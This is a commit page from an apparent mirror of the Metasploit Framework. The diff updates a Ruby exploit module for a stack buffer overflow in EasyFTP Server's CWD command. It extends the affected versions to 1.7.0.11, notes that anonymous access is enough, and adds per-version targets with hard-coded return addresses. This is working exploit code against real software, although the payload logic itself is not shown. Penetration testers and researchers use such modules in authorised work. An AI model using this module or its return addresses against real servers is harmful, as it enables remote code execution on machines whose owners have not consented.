infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

add additional targets and version notes 

git-svn-id: file:///home/svn/framework3/trunk@9147 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-04-26 21:23:40 +00:00
parent 3fa96688f2
commit cb13ab93cc
1 changed files with 16 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

22
modules/exploits/windows/ftp/easyftp_cwd_fixret.rb
View File

@ -18,14 +18,14 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server <= 1.7.0.2 CWD Command Stack Buffer Overflow',
'Name' => 'EasyFTP Server <= 1.7.0.11 CWD Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.2.
EasyFTP fails to check input size when parsing 'CWD' commands, which allows for
easy stack based buffer overflow exploitation. EasyFTP allows anonymous access by
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which
leads to a stack based buffer overflow. EasyFTP allows anonymous access by
default; valid credentials are typically unnecessary to exploit this vulnerability.
Later versions may vulnerable, but have not been tested.
After version 1.7.0.12, this package was renamed "UplusFtp".
This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
@ -40,6 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '62134' ],
[ 'URL', 'http://paulmakowski.wordpress.com/2010/02/28/increasing-payload-size-w-return-address-overwrite/' ],
[ 'URL', 'http://paulmakowski.wordpress.com/2010/04/19/metasploit-plugin-for-easyftp-server-exploit' ],
[ 'URL', 'http://seclists.org/bugtraq/2010/Feb/202' ],
@ -58,7 +59,16 @@ class Metasploit3 < Msf::Exploit::Remote
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.2', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.3', { 'Ret' => 0x00404121 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.4', { 'Ret' => 0x00404111 } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.5', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.6', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.7', { 'Ret' => 0x004040ea } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.8', { 'Ret' => 0x004043ca } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.9', { 'Ret' => 0x0040438a } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.10', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
[ 'Windows Universal - v1.7.0.11', { 'Ret' => 0x0040435a } ], # call edi - from ftpbasicsvr.exe
],
'DisclosureDate' => 'Feb 16 2010',
'DefaultTarget' => 0))